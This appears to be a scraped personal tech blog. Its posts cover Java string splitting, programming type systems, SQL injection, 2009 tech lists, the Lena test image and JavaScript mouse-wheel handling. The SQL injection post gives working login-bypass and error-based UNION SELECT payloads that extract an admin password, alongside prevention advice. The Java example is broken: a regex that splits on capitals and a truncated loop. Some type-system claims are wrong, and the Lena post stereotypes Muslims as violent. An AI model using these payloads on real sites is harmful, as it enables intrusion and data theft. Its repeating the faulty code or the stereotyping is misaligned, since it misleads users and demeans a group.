Splitting Strings in Java Using Regular Expressions Instead of StringTokenizer

In this quick tutorial I am going to illustrate how you can split String values in Java using regular expressions instead of the StringTokenizer class. Assume you have a string of brand names (that used to be only fruits!) separated by commas:

String brands = "Orange,Apple,Blackberry";

and you want to split that string so that each brand is an item in an array of a string data type. Doing this using the StringTokenizer class would probably look something like this:

String brands = "Orange,Apple,Blackberry";
StringTokenizer tokenizer = new StringTokenizer(brands, ",");
String[] res = new String[tokenizer.countTokens()];

int i = 0;
while (tokenizer.hasMoreTokens()) {
     res[i] = tokenizer.nextToken();

Despite being effective in this case, StringTokenizer is not always flexible and easy to use. For example, StringTokenizer can only handle one-character delimiters or group multiple delimiters as one; you cannot tell it to look for a particular word as a delimiter. Also, StringTokenizer cannot easily handle the possibility that two consecutive delimiters indicate a zero-length (empty) token. For example, assume we changed the input string to:

String brands = "Orange,Apple,,Blackberry";

If the “,,” is used to indicate a blank field, StringTokenizer becomes very difficult to use. For these reasons, and a lot others, StringTokenizer is considered obsolete and is not recommended to use. Instead, you should use regular expressions. Regular expressions, also called regex, are special text strings describing search patterns, the most frequently used regular expressions are:

Source: Introduction to Java Programming

There is a variety of ways to split strings using regular expressions. However, the most straightforward way is using the split() method located in the String class. The previous example can be re-written to this:

String brands = "Orange,Apple,Blackberry";
String[] res = brands.trim().split("[^a-z]");

The same result is reached with fewer lines of code. Not only that, the use of regular expressions permits the use of whole words as delimiters without any problems, as well as indicating zero-length tokens, if the input string is changed to:

String brands = "Orange,Apple,,Blackberry";

The third item in the array- index 2- will be a blank space, and “Blackberry” will be located at index 3.

Regular expressions, especially when combined with the split() method, Pattern, and Scanner classes, provide a very powerful and flexible alternative to StringTokenizer. The downside is that you have to learn and memorise regular expressions in order to use split()/Pattern/Scanner efficiently. However, regular expressions are very useful to learn, and they are used in many languages besides Java. For more information, you can check the Java tutorial on regular expressions as well as this website.

Hope this was useful, your comments and questions are always appreciated.


Programming Type Systems

If you are a programmer who has worked with multiple programming languages, you must have noticed that while some languages, such as Java and C++, use almost similar methods to define their data types, while others, such as Python and Matlab, use completely different methods. This is because those two groups of languages use different type systems.

A type system is defined as tractable syntactic framework for classifying phrases according to the kinds of values they compute. It associates types with each computed value, and, by examining the flow of these values, attempts to prove that no type errors can occur. A type system generally seeks to guarantee that operations expecting a certain kind of value are not used with values for which that operation makes no sense.

Ok, in simpler words, a type system is a way for programming languages to classify values and expressions into types, how it can manipulate those types, and how they interact. Or, in even simpler terms, how data types are assigned to variables, and how they are handled. There are four type systems that programming languages can adopt. ANY programming language you know or have worked with, except two languages, belongs to at least two of the following categories:

Statistically-typed languages: languages in which data types are fixed at compile time, in other words, type checking (verification) is done when the code is compiled. Languages that use static typing include C++, Java, C#, and F#. These languages enforce this by requiring the programmer to explicitly declare all variables with their data types before use. An example of this is the floating point variables declaration in Java:

float f = 1.0f;

Static typing allows data type errors to be caught earlier in the development cycle. Besides verifying data types, static type checkers verify that the checked conditions hold for all possible executions of the program, which eliminates the need to repeat type checks every time the program is executed. Program execution may also be made more efficient by omitting runtime type checks. However, static typing can sometimes reduce code flexibility.

Dynamically-typed languages: languages in which the majority of its type checking is performed at run-time instead of checking at compile-time. Languages that use dynamic typing include JavaScript, PHP, Python, and Tcl. In dynamic typing, the values have types, not the variables; that is, a variable can refer to a value of any type. An example of this in Python:

x = 1
print x
x = "Hello, world!"
print x

This code would produce no errors and print “1” and “Hello, world!” By allowing programs to generate types and functionality based on run-time data, dynamic typing can be more flexible than static typing. However, dynamic typing may result in runtime type errors; at runtime, a value may have an unexpected type, and an operation nonsensical for that type is applied. Also, this operation could occur long after the place where the wrong type of data passed into a place it should not have, which makes the bug difficult to locate.

One thing to notice is that a dynamically-typed language is not necessarily a dynamic language. The term dynamic language means something different, but more on that later. (In a separate post, maybe? ;))

Strongly-typed languages: languages in which data types are always enforced. A data type cannot be treated like another unless it is explicitly converted. Strongly typed languages, such as C, Java, Pascal, and Python specify severe restrictions on how operations involving values having different data types can be intermixed, preventing the compiling or running of source code which uses data in what is considered to be an invalid way, e.g. the division of an inter over a string. To ensure they achieve their purpose, strongly-typed languages apply some or all of the following constraints:

  • The compiler must ensure that operations occur only on operand types that are valid for the operation.
  • An error must occurs as soon as a type-matching failure happens at runtime, or, as a special case of that with even stronger constraints, type-matching failures must never happen at runtime
  • Omitting implicit type conversions- conversions that are inserted by the compiler on the programmer’s behalf.
  • The type of a given data object does not vary over that object’s lifetime.
  • Type conversions are allowed only when an explicit notation, often called a cast, is used to indicate the desire of converting one type to another.
  • Disallowing any kind of type conversion. Values of one type cannot be converted to another type, explicitly or implicitly.

For example, an attempt to add an integer and a string in Python:

x = 1
y = "Hello, world!"
print x + y

will produce the error:

TypeError: unsupported operand type(s) for +: ‘int’ and ‘str’

Weakly-typed languages: languages in which types may be ignore. Weakly-typed languages support either implicit type conversion, ad-hoc polymorphism (overloading) or both. For example, adding an integer and a string in Matlab:

x = 1;
y = 'Hello, world!';
z = x + y

will not produce any error, actually it will produce the result:

z =    73   102   109   109   112    45    33   120   112   115   109   101    34

One last thing I want to talk about is type safety. Type safety can be defined as the use of a type system to prevent certain erroneous or undesirable program behaviour. This can be achieved statically, by catching potential errors at compile time, or dynamically, by associating type information with values at run time and consulting them as needed to detect imminent errors, or using combination of both. A programming language is called “type-safe” if it does not allow operations or conversions that lead to erroneous conditions, such as the previous Python example.

Remember when I said at the beginning of this post that all programming languages, adopt at least two of the four typing schemes, except two languages? Those two languages are the Assembly Language and Forth. Those two languages have been said to be untyped. There is no type checking. It is up to the programmer to ensure that data given to functions is of the appropriate type. Any type conversion required is explicit.


Things That Not All Programmers Know #3: SQL Injection

Despite the fact that this a relatively old, and very famous security attack, many people I know do not know SQL injection or how it is performed. In this post, I am going to give a little introduction to SQL injection, some examples of how it is done and how to prevent it from becoming a threat to your Web site.

SQL injection- also known as SQL insertion- is a form of attack on a database-driven Web site, in which the attacker executes unauthorized SQL commands by exploiting a security vulnerability occurring in the database layer. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. This is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

More specifically, SQL injection is a trick to inject a SQL query or command as an input via Web pages that take parameters from Web user, such as a username and a password, and then make SQL query to the database to check the validity of these parameters, which will grant us something else.

It attacks on the web application, such as ASP, JSP, PHP, CGI, itself rather than on the web server or services running in the OS.

Testing the system’s vulnerability:

To successfully perform SQL injection, you have to first test if the system is vulnerable to such attack. You can do that by either looking for the “FORM” tag in the HTML source code of pages that allow you to submit data, such as login forms, where you may find something like this (a parameter that can be exploited):

<FORM action=“Search”/search.asp method=”POST”>
<input type=”hidden” name=“A” value=“C”>

Or by looking for ASP, JSP, PHP, or CGI Web pages, where the page URL takes parameters, like: http://duck/index.asp?id=10

Either way, you can test by attempting to log in by using the values or changing the URL parameter value to a’ or 1=1–. Example:

Username: a’ or 1=1–
Password: a’ or 1=1–
http://duck/index.asp?id= a’ or 1=1–

<FORM action=“Search”/search.asp method=”POST”>
<input type=”hidden” name=“A” value=“a’ or 1=1--”>

If the system is vulnerable, you will get login without any username or password.

Getting data from the database using error messages:

Error messages produced by Microsoft SQL Server can be exploited in order to get almost any desired data from the database. Take this page for example:


To get the name of the first table of the database, we can use the INFORMATION_SCHEMA.TABLES system table. This table contains information of all tables in the server and always exists. The TABLE_NAME field contains the name of each table in the database. So, what we are going to do here is UNION the parameter value ‘10’ with a query to get the first table name in the database:


The query:


Should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
/index.asp, line 5

The error tells you the value that cannot be converted to int, which in that case is the name of the first table. To get the next table name, you can use this query:


You can also use the LIKE keyword if you are looking for a specific table:


This will result in the following error:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5

‘%25login%25’ will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, “admin_login”.

Similarly, you can use the same method to obtain all column names from tables using the system table INFORMATION_SCHEMA.COLUMNS. For example, to get the first column name, use the query:


Which will produce an error message from which you can get the name of the first column name. You can then use the NOT IN keywords as before to get the following column names.

After identifying the names of the database tables and columns, the same technique can be used again to get any information from the database. For example, assume you want to get the first username from the table “admin_login”, you can use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 username FROM admin_login—

The following error would result:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin’ to a column of data type int.
/index.asp, line 5

So you now know that there is a user with a username of “admin”. To get the password of that username from the database, use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where username='admin'--

The following error would result:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘p@ssword’ to a column of data type int.
/index.asp, line 5

Now you can log in to the system using the name “admin” and password “p@ssword”.

Preventing SQL injection:

To protect against SQL injection, two methods can be used, one is called Escaping, which filters out (escapes) character like single quote, double quote, slash, back slash, semi colon, extended characters like NULL, carriage return, new line, etc, in all strings from users’ input, URL parameters, and cookies’ values. For example, every occurrence of a single quote (‘) in a parameter must be replaced by two single quotes (”) to form a valid SQL string literal. This method is error-prone, however, as this is a type of blacklist, which has proved to be much less robust than whitelists. An example of escaping is using the function mysql_real_escape_string before sending the query in  PHP:

$query = sprintf("SELECT * FROM Users where UserName='%s' and Password='%s'"   mysql_real_escape_string($Username),

Another method is to use parameterized statements, which enables users’ input to be initially filtered instead of directly embedding it in the SQL statements. An example of parameterized statements is PerparedStatement in the Java JDBC API:

PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE USERNAME=? AND PASSWORD=?");
prep.setString(1, username);
prep.setString(2, password);

Another things that can be done to avoid SQL injection is to convert numeric values to integers before parsing them into the SQL statement. Or using ISNUMERIC to verify that they are integers.

And that’s it. Hope that was clear and simple enough. Your questions and comments are always welcomed.

Disclaimer: all of the information posted here is gathered from online published materials. None of this is my work and I am absolutely not responsible for any misuse of it. Modify/edit/use it at your own responsibility.


2009 – A Year In Tech: Worst Tech Products

As we all know, the economic climate in 2009 was a bit shaky. Despite that, it was a great year for technology. However, as there were several winners- hello Microsoft!- there were also losers who, in my opinion, produced products that are not short of a disgrace! Here are the most eminent worst products of the year 2009:

Linux Fedora 12:

Let’s face it, 2009 was all about new operating systems; Apple continued its winning ways with the OS X 10.6 (Snow Leopard), which was described as the most beautiful consumer-oriented OS available anywhere. Microsoft was able to clean up the mess of Vista and made one of the most successful tech launches this decade with the business-saving Windows 7. Linux, on the other hand, had only Fedora 12 to offer, an OS with minimal new features that are not the least bit close to its Apple and Microsoft competitors, and, as a result and as usual, Linux could not grow any kind of market share or consumers support and continued to be nothing but an OS for the open source fanatics.

Wolfram Alpha:

For those of you who do not know what that is, Wolfram Alpha is a search engine developed by Wolfram Research that was released to the public on May last year. Ever since it was announced last March, much hype has gone about it and how it could be the black horse that would give Google and Bing a hard time. Well, it simply wasn’t, isn’t, and won’t be! It cannot be even classified as a search engine! It is an online service that answers queries computing the answer from structured data, rather than providing a list of documents or web pages that might contain the answer as a search engine would. In the end, all it was about was just the hype, with so little importance for just about everyone.

Note: to get an idea of what I am saying, type “Google” in the search field on the Web site.

iCarta iPod Dock:

I really could not believe my eyes when I saw this. An iPod dock with a toilet papers holder? Really? Maybe I am wrong but I do not believe that it is a necessary to listen to music or talk on the phone while you are… “doing it”, what if your precious device falls in the toilet?! Reading the features alone is actually a joke: 4 integrated high performance moisture-free speakers deliver exceptional

clarity and high quality sound! Honestly?! Glad they thought about moisture! This definitely has got to be the most disgusting thing ever created, or at least it comes high in that list.

Google Wave:

And the winner is… Google Wave! When first announced at the Google I/O developer conference in the spring, Google Wave became such a hot topic that made people claim it would replace email. The hype increased even more in the fall when Google’s policy of making the Beta available via invitation-only caused a feeding frenzy on social networks for people begging for Google Wave invitations. Google Wave remained a trending topic on Twitter for more than three months. However, after Google provided more invitations in November, it all went silent; no one talked about Google Wave, no one asked for invitations, and Google Wave stopped being a trending topic on Twitter. The reason behind this is simple; people realized the truth about Google Wave. It does not combine the best of the email and IM worlds, it is not very useful, and it definitely will not replace email. It is just a fancy IM client that is too noisy. And as Robert Scoble predicted, Google Wave did crash hard onto the beach of overhype. And for that, I believe it is the worst tech product of 2009.

Again, let me know your opinions. Of course I am pretty sure many people will not agree with me on Linux Fedora! I just happen to know too many open source enthusiasts! Sorry people, it is the truth, face it!!!


2009 – A Year In Tech: Most Influential Tech People

First, I would like to wish you all a very happy new year and thank you for all the support in the past three months. Instead of posting just another “Things That Not All Programmers Know” post as in the first day of the past two months, I decided to do something different. 2009 was a big and long year in technology, with a number of rises and falls that probably outnumbers those of any previous year. So, throughout the month of January, I am going to write a new series; 2009 – A Year In Tech, where I will make lists of the best (and worst!) everything related to technology in 2009.

This week I am starting with the people! The following is a list of the top 5 people that I believe made the biggest impact in the technology world throughout the course of 2009:

5. Omar Hamoui:

Omar Hamoui is the founder, CEO, and a member of the board of directors of AdMob. AdMob is a mobile advertising marketplace that allows advertisers to connect with mobile publishers and create ads, choose landing pages, and target their ads with plenty of detail. In 2009, Google acquired AdMob for $750 million in stock. Susan Wojcicki, Vice President of Product Management at Google said regarding the acquirement: “AdMob is the quintessential Silicon Valley startup, generating impressive year on year revenue growth, and we’re excited to welcome this talented team to Google”. For an Arab entrepreneur, Omar Hamoui has come a long way, and that is why he is number five on my list.

4. Mark Zuckerberg:

Show me someone who does not know him and I will show you something who does not know what a social network is! Mark is the co-founder and CEO of the very addictive and fastest growing social network on the Web: Facebook. Mark was able to turn Facebook from a Harvard-exclusive meeting space to the most used social network. Facebook currently has over 350 million active users, 70% of which live OUTSIDE of the US, statistics show that half of Facebook users log on to the site at least once on any given day, and spend more than an hour a day on the site. Mark’s policies have been the subject of much controversy this year due to the recent privacy and terms of service changes.

3. Steve Jobs:

Co-founder and CEO of Apple Inc. Despite his health issues that caused him to take a six-month leave of absence, and the following speculations that he may never return to Apple, he returned to make Apple stronger than ever before and enhance its position in the market with a new and improved iPhone, new and fancier iPods, a new lineup of Macintosh computers, including the amazing ultra-thin MacBook Air, and a new iTunes with a much more appealing look. These new products, specially the iPhone 3Gs, which is predicted to sell more than 50 million units, definitely livened up Steve’s career, killing all rumours about the end of his future at Apple.

2. Steve Ballmer:

Steve Ballmer is the CEO of Microsoft Corporation. Because of the several imperfections in Windows Vista, Microsoft had lost the goodwill and confidence of most of its customers and investors. However, all of that changed with the release of the robust Windows 7 in 2009, which included a massive array of new features while being fully compatible with applications and hardware with which Windows Vista was compatible and, at the same time, continuing on the path of the incremental upgrade to the Microsoft Windows line. Ballmer was able to restore the faith of the Microsoft fan base with the new OS, not to mention Bing, the Microsoft search engine that is causing bad dreams for Google!

1. Evan Williams and Biz Stone (Ev and Biz):

Co-founders and CEOs of Twitter; a social network and micro-blogging Web site that enables its users to write updates in up to 140-character statuses. Despite being launched in 2006, Twitter became a wide-ranging media platform for documenting major events in 2009, especially after the crash landing of the US Airway Flight 1549 in the Hudson River, whose very first picture was posted on Twitter. Several celebrities were attracted to Twitter, such as Ashton Kutcher, who challenged CNN to a popularity contest on who to reach 1 million followers first! US president Barrack Obama also used Twitter in his elections campaign and currently as the US president. In short, Ev and Biz are the one behind a social network that achieved a superstar status and got more than 5 million people hooked on in a very short period, and for that, I believe that they were the most influential tech people in 2009.

So, what do you think? Do you think someone there does not deserve their spot? Was there someone left out? Let me know your opinion.

Next: worst tech products of 2009.


The Truth About Lena

If you are a Computer Science student, an Electrical Engineering student, or just someone who works in Image Processing, you must have seen and worked on this picture:

Her name is Lena. But almost everyone who had seen this image knows almost nothing about her other than the fact that the image is a great test image because it contains a nice mixture of detail, flat regions, shading, and texture that do a good job of testing various image processing algorithms, and that she makes gentlemen drool- let’s face it, geeks do not get to see that kind of attractive ladies often- and ladies jealous! But really, who is Lena? And how did she become a standard in the boring field of Image Processing?!!

Her name is Lena Söderberg, a Swedish model born in March 31st, 1951. Lena posed for the November 1972 issue of the Playboy Magazine. The image used nowadays in Image Processing is actually the same image posted in the magazine- cropped, of course.

It was in June or July of 1973 when Alexander Sawchuk, who was then an assistant professor of electrical engineering at the University of Southern California Signal and Image Processing Institute (SIPI), a graduate student, and the SIPI lab manager were searching the lab for a good image to scan for a colleague’s conference paper after they got tired of the usual test images. They wanted some image of a human face that would produce an output with a good dynamic range. It was only then when someone walked in the lab with a recent issue of Playboy. In Lena’s picture, they found exactly what they needed.

The engineers tore away the top third of the centrefold so they could wrap it around the drum of their Muirhead wirephoto scanner, which they had outfitted with three analog-to-digital converters -one for each colour channel- and a Hewlett Packard 2100 minicomputer. The Muirhead had a fixed resolution of 100 lines per inch and the engineers wanted a 512 × 512 image, so they limited the scan to the top 5.12 inches of the picture, effectively cropping it at the Lena’s shoulders. This scan became one of the most used images in computer history, so much that Lena was called the First Lady of the Internet, and was a guest at the 50th annual Conference of the Society for Imaging Science and Technology in 1997. Someone even wrote her a poem:

Sonnet for Lena

O dear Lena, your beauty is so vast
It is hard sometimes to describe it fast.
I thought the entire world I would impress
If only your portrait I could compress.
Alas! First when I tried to use VQ
I found that your cheeks belong to only you.
Your silky hair contains a thousand lines
Hard to match with sums of discrete cosines.
And for your lips, sensual and tactual
Thirteen Crays found not the proper fractal.
And while these setbacks are all quite severe
I might have fixed them with hacks here or there
But when filters took sparkle from your eyes
I said, “Heck with it. I’ll just digitize!”

Now that the truth is out there, I can almost hear the voices of the radical, extremist Muslims calling for the ban of the use this image and probably killing, then dismembering and burning the corpse of our dean for using it in our Computer Vision curriculum! At some point in the near past, there were also voices calling for retiring the Lena image. That’s because publications of the kind of Playboy are degrading to women. Give me a break! This is just pathetic! We are not using the FULL image of Lena- forgive me for not posting it; extreme content- we are only using a cropped image of a nice looking girl that only shows a face and a shoulder. What is female-degrading or anti-Islamic about that? The source of the image? Newsflash, Mr. Extremist; not we, IEEE, nor any other organization that uses the image for any purpose pays a fee for the Playboy organization in exchange for the use of it, Playboy even waved away its copyrights to this specific image. In other words, it belongs to nobody, so we are not sponsoring the work of Satan!

I know that I will be personally criticized and attacked for my opinion, and I do not really care. Bottom line is, Lena’s image is perfect for testing Image Processing techniques, and until the radicals camp blesses us with another image to use that will not send us burning in hell for eternity, I will continue to use it. Even though I am sure that the proposed new image will be something like this! Not much dynamic range there, no?


Things That Not All Programmers Know #2: Handling Mouse Wheel In JavaScript

Everyone who has been on the Web even a little knows the importance of the use of mouse wheels, scrolling pages, zooming in Google Maps, mouse wheel gestures in Opera 9 browser, and many more. It is almost impossible now to find a mouse without wheel. However, not many Web applications’ developers know how to make smart use of mouse wheel. Therefore, I decided to make this little tutorial to provide general information on how to handle mouse-wheel-generated events in JavaScript.

There are some images that are not very clear because of page size limitations. You can click on any image to see it in full size.

First, the thing you should know about mouse wheels is that they do not have an absolute system. Therefore, the only way to capture the wheel actions is via a parameter called delta, which is the mouse wheel angle changes. The delta parameter takes positive and negative values; if the wheel is scrolled up- which means the page is scrolled down- delta is positive, if the wheel is scrolled down- which mean the page is scrolled up- delta is negative. The handle function takes on that delta parameter. This function should be modified by you to handle the wheel actions:

High Level Function

The actual values of delta depend on the sensitivity of the mouse. However, for optimization, the code is adjusted so that the values of delta are either -1 or +1. Also note that delta takes different values between the Internet Explorer, Opera, and Mozilla Firefox browsers. For example, in Opera and Firefox, delta takes a different sign than that of Internet Explorer, and in Firefox, the value of delta is always a multiple of 3. Here is the event handler code:

Event Handler Function

The following part is optional. This piece of code is to prevent the default actions caused by the mouse wheel. You may want to do that because you are already handling scrolls somehow:

Handling Default Actions

The initialization code:

Initialization Code

And that is it. Now you can handle mouse wheel actions easily anyway you want using the handle function. Note that this code has been tested only with recent versions of Internet Explorer, Mozilla Firefox, Opera, and Safari browsers. I have no idea if it will work with other browsers or not.

Hope this was useful. I would really love it if you tried it and sent me your feedback. And again, if you know a good programming trick that you believe not many people know, please let me know. Wait for a new programming trick next month. Until then, happy coding!